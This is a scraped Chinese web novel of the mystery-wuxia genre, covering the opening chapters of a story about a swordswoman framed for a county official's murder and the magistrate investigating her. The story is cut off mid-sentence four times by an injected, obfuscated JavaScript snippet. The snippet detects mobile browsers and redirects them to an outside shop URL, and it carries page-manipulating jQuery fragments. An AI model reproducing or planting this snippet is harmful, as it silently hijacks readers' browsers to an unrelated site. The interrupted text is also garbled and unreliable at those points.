《嫌犯今天又在查案》 1. 引 “哎你听说了吗,宋县丞死了!”戴着幞头的男人捂着嘴,朝身侧的人小声说着。 “真假的?唬人的吧?” 那人瞪大眼睛,一脸不可置信,嘴里的瓜子也不磕了,坐直了身体往他那边倾。 “啧,我亲眼瞧见的,哪能有假!人就死在西市那个闹巷里,那血流的,都快成河了!” “哎,可惜了,我们曲塘为数不多的好官啊!那些个官兵,哪个不是横行霸道的。” “谁说不是呢,刚刚辰时官府贴了告示,咱们状元县令要一刻后封城,说是为了尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449755|201146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快拿住真凶!” 那戴幞头的接着说:“李兄你不是要去外地奔丧么,快些走吧!咱这儿的官府办案子,比驴拉磨还慢,半月前城东两赖偷银子的事儿,到现在还没个分说呢!要等这城禁解了,估计黄花菜都凉透了!” ………… 2. 冲突 “快快快,收拾行装我们走。” 花醉州火急火燎冲回客房,食指弯起,放进口中吹了一声,短促嘹亮。 窗一响,从外跳进来个一身玄衣的少年,看样子约摸十二三岁的样子,叼着不知道从哪扯来的狗尾巴草,一屁股坐在床上。 花醉州把他拽起来,迅速给他塞了一锭银子:“你现在就去口马行买两匹马,要快!” 颜斐一脸惊奇,抱着臂靠在墙边:“师姑,你这下去吃顿饭受什么刺激了?不是明早才走吗?” 花醉州一边收拾着一边回答他:“刚刚我听说,县里的县丞死了,一刻后要封城,若真封了城可就出不去了。” 见他还翘着腿靠在墙边,花醉州弹了他个脑瓜崩:“时间紧迫,你赶紧的。” “啊!”冷不丁被弹了一下,颜斐咧嘴嘶嘶着,花醉州掀开窗扇,把他推出去,嘱咐他:“买两匹最快的!”然后啪的一声合上了窗。 颜斐蹲在外面,捂着额头,师姑这下手也忒狠了!明日估计又要肿个包。 一窗之隔的房间内,花醉州看着手里的鹿皮包裹犯了难,下山之前,师傅告诉她这包裹很重要,要小心千万不能丢了。 所以她一直仔细的放在行囊里,里三层外三层的包着,但昨日刚来曲塘,这包裹就差点被抢了去,可若是系在身上,未免太明显了些。 花醉州还在纠结,楼下突然传来一阵骚乱,还不时伴有百姓惊呼,为首的那个快班手一挥,放声说了句“搜”,身后跟着的官差便潮水般涌入客栈。 花醉州趴到门缝往外看了一眼,来这么多人?看样子估计是要搜查这座客栈,若是被这些官差拦住,势必要废一番功夫。 她回头扫视一圈,狠了狠心,将鹿皮包裹挎在身上,系了个死结,不能优柔寡断,这包裹,还是带在身上安心些。 她刚转过身,打算跳窗逃走,还没迈出一步。 笃笃—— 两声急促的敲门声突兀响起,随即便被人从外狠狠踹开,门扉不住颤抖着,发出阵阵嗡响。 声音很大,花醉州弯着的腰一滞,转身冷眼看着堵在门口的一群官差。 为首的约摸四十来岁,不怎么高,跟她身量差不多,那快班往旁边一拉,胳膊搭在一个穿着补丁麻布衣的男人肩上,语气吊儿郎当:“来你好好看看,是不是她。” 花醉州皱了皱眉,什么是不是她? 那补丁男人缩着脑袋,只抬头瞟了她一眼就躲在快班身后连连点头:“是是是!官爷,就是她!” “拿下。” “慢着!”花醉州脑子还懵着,这人打什么哑谜呢,“我犯什么事儿了,凭什么拿我?” 快班手交叉在身前,仰起头:“娘子,自己杀了人就别装傻了,乖乖跟我回县衙,说不定还能留你一具全尸。” 此话一出,门外看热闹的百姓叽叽喳喳的,对着她指指点点:“哎呦这女娘看着面善,没想到是个心狠的。” “是啊是啊,县丞她也下得去手。” …… 杀人?谁?她吗? 似是不愿多言,快班挥挥手,示意绑了她。 那些个官差握着刀柄,上前将她团团围住,花醉州拔出腰间佩剑,问道:“血口喷人!我好端端的杀人干什么!” 那快班也是个怂的,见她拔出剑,往后退了退,却还是强撑着摆出气势:“哎哎哎!你干什么,还想杀我是不是!” 花醉州懒得跟他说,用剑拨开挡在面前抖得像筛糠的官差,一把揪过那补丁男人的领子:“你谁啊,污蔑我干什么?” 男人脸憋得通红,眼泪一把把流,瞧着活像她欺负人似的:“我没污蔑你啊!我都是亲眼瞧见的!” “曲官爷。”男人朝快班伸出手,希望他能说句话。 可那快班自己还害怕呢,眼神都没给他。 花醉州差点气笑,也不知道是谁在陷害她,用这么蹩脚的伎俩。 “那你说说,我今早抛尸的时候,具体是什么时辰,天色如何?” 那男人噎了几声,说不明白:“我,我当时害怕,怎么可能看那么清楚!” “哼,看不清楚?那有几个人总知道吧?是单我一个还是有同伙?”花醉州一边问一边往门口退着走,心里盘算着等出了房门她转身就跑,她的轻功虽称不上卓绝,但甩掉这些人,也够用了。 只是一只脚刚迈出房门,眼前便横亘出一只绿色的袖子,挡在她面前,侧后边传来一道清冽如泉的声音。 “是不是凶手,搜过就知道了。” 花醉州抬头一看,这又是谁啊。 “县令。”曲择见了人,慌里慌张的站起身恭敬朝他拱手。 县令?曲塘县令? 花醉州愣了愣,随即反应过来,也是,县里的县丞死了,这可不是什么小事。 肖寻岳看向面前站着的人,乌发高高束起,眉眼倒是英气,腰间佩了一把剑,剑鞘如冰似雪,寒气逼人,剑柄刻着个“闻”字。 闻家人? 肖寻岳心下微动,闻家百年前就已避世,很少有人下山,这女娘怎么好端端来了离闻家千里开外的地方。 “我乃曲塘县令肖寻岳,”肖寻岳的目光越过人群,扫视着房内,床榻上的包裹都只收拾到一半,“娘子这是想出城?不过城门已经封了。” “什么?!”一刻钟居然这么快? “不如这样吧,娘子行个方便,让官差搜一番,若今日之事是个误会,我便立刻放你出城。”肖寻岳眸光锐利,却是商量的语气。 花醉州盯着他的脸,肖寻岳,她听说过,今年的新科状元郎,不过她在意的不是这个,而是他应承她的话:“你说的。” 他点点头:“我说的。” 花醉州盯着他,转而手一挥,指着一群群百姓和官差:“他们可都是见证人,若你搜不出什么东西,就立刻放我走。” 肖寻岳也不恼,说:“君子一言,驷马难追。” 花醉州这才侧身让出一条路:“好。” 听她答应,肖寻岳刚要进门,就听见她说:“不过这个人,县令如何处置?” 她说的是那个补丁男人。 肖寻岳想起刚刚他支支吾吾那模样:“不急,尚且不知娘子是否清白呢,不过倒是也不能不看管。” 肖寻岳指了指站在门边的官差:“你们两个看住他,别让他跑了,一会儿无法对证。” “娘子可满意。” 满意?装模作样。花醉州评价。 进了门,肖寻岳从门口仔细探查着,此间虽说是上厢房,但空间却不甚大,门一进来便是一张四方桌,左侧放着床榻,床脚放置妆奁台,台上开着一扇房内唯一的窗户。 这窗八尺长,三尺高,只要是常人身量,便能轻松跃入。 肖寻岳支起窗户,隔着一条街便是宋津臣死的那处早市,从发现尸首到现在已经一个时辰了,到现在仍是人满为患,都凑着想看热闹。 “这二楼,视野倒是绝佳。” “县令是在怀疑我?” 肖寻岳笑了一声:“本官不过随口一说,娘子太紧张了。” 肖寻岳眼神向下掠过窗棂,十分干净,这间客房,乍看之下还真没什么不对劲的地方。 “曲择,可有发现?”他问的是那个快班。 “县令,您来之前我们都搜过了,暂时没有可疑之处。”曲择靠近肖寻岳耳边,声音却没有放低,指了指花醉州肩上挎着的鹿皮包裹:“只是,那个包裹还没查。” “包裹?”肖寻岳看着花醉州肩上的包裹,白鹿皮,多为陇右、夷国进贡,乃皇室专属,甚至边角上还有龙纹。 这女娘,真不简单。 此话一出,花醉州整个人都警惕了几分。 临走前师傅跟她说:“此去京城,包裹你要亲手送到那个人手里,务必妥善保管,谁也不许打开,但若实在逼不得已,或遇什么命案官兵要搜查,莫多相抗,打开便是。” 虽然话是这么说,可师傅的样子,很奇怪,就好像是在复述别人的话一样。 花醉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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肖寻岳盯上她的眼睛,站直了身体:“我确实打不过你,也无意与你争执,只是希望娘子能配合办案。” 骤然! 花醉州左侧袭来一阵风,偏头一看,曲择神情狠厉,手直勾勾朝包裹而来。 她眼神一凛,弯下腰偏头躲过拳风。 “县令,你这是何意?我无意与官府结怨!” “本官亦不想与闻家结怨,但凶案要紧,娘子却不配合。”肖寻岳也懵着,他根本没让曲择出手。 肖寻岳摇了摇头,示意曲择停手。 “这位小娘子,你若真是清白的,就把包裹打开给我们瞧瞧,你这般藏着掖着,反倒让人觉得里面有什么见不得光的东西。” 曲择站在肖寻岳身后,语气挑衅。 “你!” 花醉州一时语塞,他这话不好听,但说的在理,无论什么原因,在外人眼里看来,就是她心里有鬼,不敢打开。 “……你们都出去。”花醉州在房内环视一周,目光紧锁在肖寻岳身上,面色不虞。 厢房里一下子安静下来,只剩下两个人,呼吸可闻。 花醉州深吸一口气憋了几息,而后缓缓吐出,取下包裹放在桌上:“给你看可以,但是你要答应我一个条件。” “娘子请讲。” “如果包裹里你搜不出什么异样,你当众给我道歉,然后放我出城。” 肖寻岳反问:“若有异样,该如何?” “不会有异样。首先,我没有做任何伤天害理的事,我问心无愧;其次,这个包裹从我接手到现在,从未离开过我的视线,我相信里面没有任何可疑之物。” “那便请吧。” 花醉州缓缓收拳,捏紧自己手里的两道结,这包裹,最终还是被打开了。 里面没什么特别的,就是一个古朴的楠木盒子,和一块玉佩。 玉佩通体莹白,不着雕饰,正面浅浅刻着亭台楼阁和一大片竹林,看上去十分温润,是块顶好的玉。 肖寻岳看着里面的东西,呼吸微滞,这分明就是宋县丞日日随身带着的那枚玉佩! 3. 入狱 “这是谁的玉佩?”肖寻岳试探问道。 “我怎么知道,这是我师傅给我的包裹。” 肖寻岳盯着桌上的物什,这玉佩宋津臣日日戴在身上,宝贝的很,逢人便炫耀,县衙上上下下都知道他有这么一块玉,他曾问过,这玉佩到底什么来历,竟宝贝至此。 宋津臣说,这是宫里的宋婕妤赐他的。 宋婕妤,宋津臣的独女。 可若是她不认识,这玉佩为什么会出现在她的包裹里。 是演技炉火纯青还是有人蓄意陷害。 再抬头,肖寻岳眼底又带上几分审视和探究,追问道:“……你当真不知?” “你这县令好生奇怪,不知道就是不知道,我有必要骗你吗。” 她这人其实很耿直,所思所想一律都呈现在脸上,看着倒不像骗人。 越是如此,肖寻岳越觉得哪里不对。 “娘子,可否让我瞧瞧这玉佩?” 花醉州眼睛微眯,这位状元县令,还想耍什么花招。 “你看吧,就算让你拿回县衙去仔细瞧,我也不可能是凶手。” 肖寻岳没多解释,只点点头,拿起玉佩走到窗边,此时正值辰正,日光大好。 右下角处,浅刻着“曲塘丞宋公”五个字。 肖寻岳侧过身,把玉佩翻了个面,平整无暇,光照之下温润非常,是一块完整的玉。 今年春三月,他刚上任,城南就突发涝灾,淹了不少庄稼,曲水岸边湿滑,救灾之时,他不慎跌入河中,宋津臣没有丝毫犹豫把他拉了上来,却也因此,玉佩背面被磕了一块极浅的凹痕。 而这块玉佩,却没有。 所以,这并不是宋津臣那一块,只是仿了个形。 “肖县令,如何?我这里既没有凶器,更无死者的东西,我是清白的,你既做了县令,怎能凭那人一面之词就怀疑我。更何况,此行我欲入京武举,若是杀了命官,朝廷岂能用我。” 有理有据,肖寻岳一时还真找不到什么话来反驳她,但这假玉佩既然出现在她包裹里,这场凶案必定和她脱不了干系。 今日的事,总让他有一种感觉,有人在把花醉州往他手里推,更确切的说,是往大牢里推。 现在的局势,敌暗我明,关于幕后黑手的线索一条也无,甚至宋津臣的线索都断了,暂时不能打草惊蛇,倒不如将计就计。 这趟衙门她是非去不可了。 两个人各怀心事,一时间都没说话,客房外却突兀响起慌张的喊声。 “县令!不好了!城东死人了!” 花醉州眼疾手快,把玉佩从他手里抢回来,赶在门开之前系好包裹。 门一下子被撞开,那官差缓着气,磕磕绊绊回道:“县令,城东吴耳死了!和宋县丞的死状一模一样!百姓们人心惶惶,都说是连环凶杀!” “你说什么?”原本站在一旁被看管着的补丁男人冲上来,质问道,“你胡说什么!谁死了!” “吴,吴耳啊。” 男人喘着气,跌坐在地上,眼神灰败,喃喃自语:“死了,吴耳死了……” 城东那块多山,还有座年代久远的土地庙,不知道是什么朝代修的了,破败的很,地也荒的不行,种不出什么水灵菜。 是以百姓们都住在西边,唯有吴耳,哦,还有个怪胎赵合,也就是这个补丁男人,两个人住在东边,和土地庙做了个邻居。 只是宋县丞刚死,就又死了一个人,这接二连三的出事,只怕是有人故意为之,再这样下去,恐城中大乱。 “走,速回官府。”肖寻岳转身看向花醉州:“娘子,肖某相信闻家家风,是以我也不愿相信娘子会是杀人凶手,只是,” 他停顿一下,似是在想什么,肖寻岳压低声音,稍稍凑近她:“你包裹里那枚玉佩,是宋县丞的。” “什么?!”花醉州嘴一快,差点反问出来,又赶紧捂住嘴。 可是怎么可能!这包裹自师傅给了她,她就从未假他人之手,自己更是没有打开过。 难道,是给她之前玉佩就已经在里面了,可如果是师傅,就更不会做这种陷害她的事了。 肖寻岳看着她的神情,继续小声说:“娘子若是想知道谁陷害你,目前来说,将计就计是最好的。” “所以,跟我走一趟吧。” 肖寻岳走了几步,发现人没跟上,又回过身来凑近她:“娘子,你若是聪明,就该想到和官府对着干不明智,更何况,待真相查明,若娘子清白,我会全城贴布告示,不必担心名声。” 花醉州脚上钉了钉子,死活不往前迈步。 她倒不是在意名声,只是不愿在此多事,本来来曲塘就是歇脚而已,但看现在的情况,明显很难收场,但只要她还想做官,她就不能有污点,那就必须洗清冤屈。 而且他说的也不无道理,现在她是两眼一抹黑,不如顺势而为,先弄清背后之人的真实意图,才能有反击之机。 “罢了,我随你走。” 肖寻岳回忆着那枚玉佩,神色愈发凝重。 这宋县丞一案,只怕不简单。 * “娘子,您请进。” 衙差走在花醉州身后,话说的恭敬,却是把人推进了牢房。 “能不能轻点儿啊?催命呢?!”花醉州不满的嘟囔着。 牢房里似乎没什么犯人,看管的衙差也就两个,牢房小,还没有窗,暗不见天日的,地上铺着一层干草,却因潮湿已经软化。 一进去就是满鼻子的铁锈味,屋顶时不时滴下几滴水,毫无规律,声音在寂静的空间里被无限放大,那些背阴的地方,爬满了绿色的苔藓,牢里烛光幽暗,看上去黏腻又恶心。 “早知道来衙门是要蹲大牢,我就不跟肖寻岳来了。”花醉州双臂交叉在胸前,悔不当初。 一想到肖寻岳那副公事公办的样子她就来气,还说什么:“娘子,得罪了,但依照律法,凡有嫌疑者,皆入狱待审。” 现在想来,她还真是被他给唬住了,他说什么就是什么啊,她又不知道宋县丞的玉佩长什么样,万一是诓她的呢。 花醉州懊恼的挑挑拣拣,选了一块靠近牢门的地坐下休息,刚把脑袋放稳,“吱呀”一声,牢门又开了。 这是又抓到哪个嫌犯了? “进去进去!快点!” “小爷我自己有腿!别推我!” 这声音,颜斐?!花醉州一挺身从地上坐起,扒着往外瞧,这衣服,就是颜斐。 衙差开了她旁边牢房的门,把人推了进去:“老实点儿待着!” 待人走了,花醉州这才问:“你怎么也进来了?” “师姑!你可别说了,我刚买完马回来,就发现你不见了,问了好多人才知道你是被抓了,我就一路来了县衙。” “我说想见你,那领头的死活不让,我就……我就大打出手了。” “什么?你还打架了?受伤没?” 颜斐摇摇头,问道:“没有,就是,师姑,你是犯啥事了?为什么被抓?” “啧,你能不能盼我点好。”花醉州不耐烦的啧了一声。 颜斐连着哦了三声,说:“师姑,那接下来怎么办?万一十日之后这案子破不了,我们也出不去,那大师叔的祭日可就过了。” 他这么一说,花醉州神情有些落寞,说起来,人都已经离开十年了,本以为早已释怀,可一旦想起,她还是会难过。 花醉州吸了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449757|201146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吸鼻子,挥散脑中的思绪。 她今日就是在忧心这个问题,原本大师兄没有葬在闻家墓,就已经让闻家众人觉得有愧了,现在若不能在祭日当天祭拜,她实在无颜面对大师兄。 “不行,不能坐以待毙。” “师姑可有妙招?”颜斐一骨碌爬起来,扒拉在一边,眼睛亮晶晶的看着她。 花醉州默了默,仰面躺在干草上,说起来,这不过是她第一次下山,谁承想就遇上了这糟心事。 “我……没有。” 这牢里狱卒虽不多,可她却不能被人抓住越狱的把柄,但更不能干等,要么,就去找肖寻岳谈判,可她又没有什么筹码,若想自证清白,她又没有头绪。 “啊?师姑,那我们怎么办,我可不想一直待在牢里,怪渗人的。”颜斐抱着胳膊,抖了抖。 花醉州隐在牢房的阴影下,眸光锐利,似是想到了什么,唇角缓缓浮起一抹笑,在烛火下忽明忽灭。 她招招手:“阿斐,来,帮师姑个忙。” 颜斐浑身一抖,打了个寒颤:“师,师姑,你干啥。” 她目光灼灼,盯着颜斐,轻轻吐出两个字:“装病。” “师姑,这能行吗?” 万一那些衙差不信怎么办。 “那你还有什么好办法吗?又出不去,又不能干等着。” 颜斐想了想,摇头。 “那听我的就对了。” 两个狱卒在外边正玩着叶子戏,根本不知道里面两个人在盘算什么,只忽而听到牢里有人大喊。 “哎呦官爷啊!快救救人啊!” “官爷!再不来人就死了!官爷哟!” 俩狱卒对视一眼,同时说:“你去。” “你去。” “那咱两一起去。”一个狱卒提议道。 “我看行。”另一个点点头,两个人搀扶着一起靠近着声源。 花醉州扒在铁栏上,皱巴着脸,朝他俩喊:“这小兄弟不知怎的了,一进来就说腹痛难忍,官爷,好歹也是一条命吧!救救他吧!” 她一边说,一边瞧着距离,奈何这俩狱卒离他俩远远的,她根本找不到时机拿钥匙,只能希望颜斐成功了。 那俩狱卒看颜斐面色惨白,嘴唇不住哆嗦着,额头上全是汗珠,看着也不像是假的。 “咋整。”一个狱卒问。 “你问我,我问谁去啊。”另一个回道。 “可是我瞧着也不像装的,要不进去看看?” “那咱两一起。” “我看行。” 花醉州给颜斐使了个眼色,颜斐眨眨眼睛,表示明白,两个人迈着小碎步往里挪,挪的颜斐差点忍不住了。 一个狱卒蹲下来戳戳他:“哎,你没事吧?” 颜斐假意撑开眼睛,咽了咽口水,藏在干草下的手悄悄拨开瓶塞。 然后闷哼一声,唇角溢出一丝红色的血。 “呀!这咋还吐血了!”狱卒指着他脸颊边的血迹,问,“咋整。” “给他找个大夫?” “行。” 两人正准备走,颜斐用袖子捂紧口鼻,一扬手,白色的粉末霎时挥散在空中。 两个人没有防备,闻了一下就头晕眼花,意识模糊之前挤出一句:“不好!居然有诈……” 颜斐拍拍两人的脸,见没有要醒的意思,才把狱卒身上的钥匙取下来,扔给花醉州,然后便要动身。 花醉州叫住他:“阿斐,万事小心。” 他点点头,脸上还有些兴奋:“放心吧师姑。” 花醉州看着他偷偷摸摸的背影,心里直打鼓,也不知道这小子能否胜任,不过,只是让他悄悄找一下肖寻岳,应该没事吧? 4. 验尸 “死者宋津臣,致命伤在脖颈左侧,长三寸,深亦三寸,几乎断颈,据伤口判断,死亡时间应为前夜亥时三刻。” “至于这身上其他大大小小的伤口,包括百会穴处钝器致使的深坑,全都是死后伤,约摸是昨夜亥时三刻添上的。” 秦樊站在验尸床边,身着赭色粗麻衣,腰间系了一根草绳,模样年轻,看着像是成丁不久的样子。 但他家世代仵作,传至秦樊已有三代,不可能误判。 语毕,殓尸房内陷入一瞬静默。 “也就是说,那闹市并非案发之所,凶手还是一击毙命。”肖寻岳蹙着眉头,沉声道。 今早卯正,早市刚开,百姓们便在市集口发现了一具倒在血泊里的尸体,血迹不断向四周蔓延,直至蜿蜒成血溪,吓得百姓失了神,跌跌撞撞便跑来报官,等他赶过去一看,却发现是宋津臣。 只可惜现场人来人往,被百姓们毁的差不多了,没找到任何有用线索。 不过照伤势看,杀人的动静必不会小,但两边的商铺却都安然无恙,且死亡时间与发现时间对不上,那定是死后抛尸。 只是这案发之处又会是哪里? “若是抛尸,这凶手未免太狂妄了些!”秦樊握紧手里的绳尺,义愤填膺。 确实狂妄,像是生怕他们官府的人不知道县丞死了一样。 只是肖寻岳想不通,为何要隔一天再抛尸,还添了许多伤口,是在刻意隐瞒什么,还是在故意误导? “还有没有其他发现?” “县令请看。”秦樊指向脖颈处的伤口和附近偏小的伤痕。 “这两处伤口不一致,这致命伤,伤口平整且深,断口大,应为陌刀致;其他死后伤,较之陌刀伤口小,凶器可能是剑,又或者是横刀。” 肖寻岳稍倾身,脖颈处,深可见骨,差点断首,唯颈后有一小部分黏连,确实是陌刀伤。 但陌刀唯有护国大将军蒋文霄的兖州军可佩,民间不得私造,兖州军军纪严明,若有逃兵即刻处死,如果不是兖州军,那会是谁,私造陌刀,可是死罪。 肖寻岳不愿把案子想的太过复杂,但眼下这情况,实在不能不多想。 蒋文霄此人,战功赫赫,边国之民哪个对他不是闻风丧胆,当年三十岁便一人一骑夜闯敌营,取下将首,攻破敌国十万铁骑,自从稳坐护国大将军的位置。 这些年虽一直在北疆戍边,但朝廷无人对他不忌惮,而他代表的势力,一直是贵妃之子,旻阳王。 现今夺嫡之争愈演愈烈,虽立了太子,但朝中不服之人不在少数。 更莫说,宋婕妤现在还孕有龙嗣,没生出来之前,谁也不知是男是女。 莫非,京城的人也参与进来了? 肖寻岳眉头越皱越紧,现在的线索非但没什么指向,反而还让案子越发的不可控制了,若真涉及到那座宫城,这案子就不再只是一桩凶案了。 “吴耳呢?” “吴耳死在昨夜亥时三刻,且伤口复杂,全身皆为生前伤,最后被人用利器砸在头顶百会穴,头骨碎裂,经脉寸断而亡。” “又是亥时三刻?还和宋县丞的死后伤那么像。” “县令,哪里是像,简直是一模一样!只不过县丞是死后伤,而吴耳是生前伤。”秦樊吞了吞口水,语气带着些害怕。 太残忍了,死者尸身都被毁的没什么人样了,这凶手简直是丧心病狂! “等等,你刚刚说,吴耳死于昨夜亥时三刻?”他着重强调着“昨夜”二字。 “是。” “但是宋县丞的伤,也是在昨夜亥时三刻添上的。” 这话像一记惊雷,震醒了秦樊混沌的脑袋,却只觉毛骨悚然:“可是县令,吴耳的家在城东,闹市在城西,若是一个凶手,怎么可能在同一时间段添伤,然后再杀一个人的?莫不是会分身?” “不可能,秦仵作还是少看些志怪传奇吧。”肖寻岳瞥他一眼,提醒道。 秦樊揩了揩额上的冷汗,把衣襟里露出一角的《玄怪录》往里塞了塞,县令还真是细致入微,可他也就这一个爱好了,身为仵作,身上总是带着点阴气,没人愿意与他结交,闲暇之时也只能看些志怪磨日子了。 肖寻岳沉吟片刻,猜测道:“看时间,有可能是团伙作案,但若看伤口,又像是一人连环凶杀。毕竟人与人各不相同,不同的人,怎么可能使出一样的杀人之法,又或者,是凶手把宋县丞的尸体带到了吴耳家里,所以伤势才一模一样。” 秦樊面色惨白,不由自主眨眨眼,丧心病狂,真是丧心病狂,他还从未经手过如此诡异的案子。 “我记得,城东地荒,多为斥卤之地,秦樊,你验尸时,可在县丞身上发现了白土?” “回县令,目前还没有发现。” 没有?那这便怪了,吴耳明明是在家里被杀的,仅仅一刻的时间,要先把宋县丞抛尸到闹市,再跑到城东杀人? 但闹市到城东,最少得两刻钟。 是凶手轻功绝顶,还是训练有素,可再如何训练有素,这些大大小小的伤口,也应当有破绽才是。况且,杀了宋津臣的人为什么要杀一个跛子偷? 秦樊磕磕巴巴说道:“县令,若,若真是连环案,今夜亥时三刻,说不定还得死人。” 还得死人…… 肖寻岳眉心紧拧,看来,今夜注定是一个不眠夜,亥时三刻,就是一个绝佳的时机,他需要主动出击。 秦樊喉头滚动,嗫嚅着,不知想说什么。 “想说便说。” 半晌,秦樊最终还是拱拱手说:“县令,宋县丞和吴耳的伤,很像一个叫‘醉九州’的武功,小人曾祖父曾经周游各处时写过一个手札,其中便有记载,凡因‘醉九州’而死的人,全身遍布伤口,流血不止,自百会穴到脚趾,所有骨头都会碎裂。” 醉九州,闻家绝技,当年闻远道十三岁一人一剑,凭这绝技打遍天下,至今仍是武榜第一,只是这线索,居然又和花醉州有关。 秦樊顿了顿,又补充道:“不过,小人才疏学浅,到底是不是真的,还不敢妄下定论,只是有此猜测。” 秦樊说的那个手札他曾经粗读过,写的很细,而且大多都是他曾祖父年轻时云游四方所见,这么说来,他得找个机会验证一下。 肖寻岳总觉得,这一切实在太刻意了,宋县丞还好说,可是吴耳一个跛子偷儿,醉九州乃闻家绝技,杀鸡焉用牛刀? 太不对劲了。 今日这两起案子,处处透着古怪,还有那枚玉佩,从案发到找到不过两刻时间,有些,太快了。 就好像刻意安排的一样。 “报——!”门外匆匆跑来一个衙差,大声呼喊着。 “县令!曲班头说,他在宋宅找到了新线索!” * “哟,这不是肖县令吗?好巧啊。” 县衙仪门庑廊围墙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449758|201146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,传来一道清亮的少年音,带着几分打趣。 肖寻岳刚得了新线索,正带着人急匆匆往宋宅赶,却被人拦在此处。 他抬眼一瞧,颜斐侧躺在围墙上,右手支着身体,左手搭在屈起的膝盖上,晃动着缀满穗子的腰带,脸上的笑带着几分挑衅。 “你越狱?”肖寻岳仰头看着他,语气淡淡。 “对啊,小爷我就越狱了,又如何?” 肖寻岳眉心微蹙,这小子在闻家莫不是无人管教。 “蔑视律法,私自越狱,着杖责二十,以示惩戒。” “哎哎哎肖寻岳!你动私刑!小心我让师姑来教训你!” 肖寻岳没管他的喊叫,伸手在空中打了个响指,一抹赭色从颜斐眼前掠过,紧接着就是脖子一紧,那人拎着他后脖颈的衣服,一息之间就从墙上被带下来,往庑廊里一扔,顺着那道力,肩胛不小心磕到了廊柱,疼的他龇牙咧嘴。 那赭色站在肖寻岳身后,神情恭敬,颜斐瞪大眼睛,合着他还有侍卫! “你师姑,我确实打不过,但你一个十三岁小毛孩儿,我还是治得了的。更何况,你越狱,那就是公事,谈何私刑。” 颜斐反手摸着肩胛骨,倒抽着凉气:“欺人太甚。” 肖寻岳倒也不气恼,偏头浅浅一笑:“你越狱才是吧。” 他手往旁边一伸,衙差很有眼力见的给他递上麻绳,肖寻岳架着颜斐双臂,迅速反剪到后背绕了几圈打好结,把人交给一旁的衙差。 “带下去。” 颜斐被绑着双手,挣脱不得,整张脸气憋的通红:“不是,肖寻岳!你真打啊!” “你越狱,就是触犯了律法。” “哎哎,你等等!”颜斐扭着头,喊道。 “我来此,是替我师姑传话的!” “哦?传话?”肖寻岳拍掉袖上的灰尘,一副了然的模样,继续问道:“莫非是你师姑让你来挑衅我的?” “你放屁!我师姑才没这么幼稚呢!” “哦,”肖寻岳点点头,带着几分笑意,“你也知道你幼稚啊。” “你!” 颜斐又被怼了下,手攥紧成拳,却被绳子桎梏动不得,只得甩了甩手忿忿松开,颇为孩子气的说道:“想知道?先把我松开。” 肖寻岳不由轻笑一声,盯着他看了几眼,转身就走。 “哎哎哎!肖寻岳!你别走啊!” 肖寻岳却头也没回,说:“带下去打。” “等等!我说!” 肖寻岳这才停下步子,转过身来看着颜斐。 颜斐瘪着嘴,一脸气鼓鼓:“我师姑让我转告你,她现在已经反应过来了,她根本不信你说的那个什么玉佩。” “行,我知道了。”肖寻岳转头对衙差说:“可以开始打了。” “啊?等等,肖县令,我就是来传个话,你还真打啊?你大人有大量,你……唔!” 话没说完,衙差无情地往他嘴里塞了一块布,堵住了所有话。 肖寻岳弯下腰:“一会儿回牢里,记得转告你师姑,我明白她的意思了,稍后我会派人来接她。” 说罢,手一挥便准备出县衙。 衙差在他身后问道:“县令,宋宅……” “我一人去即可,你把他押回去。” 走了几步又退回来低声嘱咐道:“对了,虚杖唬唬就好,可别让这小子真找什么人和我算账。” 5. 谣言 “喂。” “醒醒。” 清亮的女声响起,听着却像是隔了一层水,雾蒙蒙的,遥远又模糊。 花醉州低头瞧了瞧倒在地上的狱卒,怎么还不醒啊?颜斐这小子下了多少迷药? 两个狱卒仰面躺着,被声音刺激到,本能地左右晃了晃脑袋,却还是睁不开眼睛。 花醉州拍了拍他俩的脸:“小兄弟,小兄弟?” 其中一个狱卒脸上长着麻子,头左右直摆,鼻子一皱,喉咙里发出一声低哼,眼睛倏的睁开。 麻子刚醒来,脑子还混沌着,他怎么躺在地上? 再抬眼一看:“啊——!” 花醉州眼皮一跳,迅速给他点了哑穴:“别叫!” 麻子的尖叫卡在一半,这才看清眼前是个人,这才放下心来,点了点头。 甫一撒开衣领,麻子坐起身就蹬着腿蹭蹭往后退,其中一个问道:“你你你,你迷晕我们,想要干什么!” 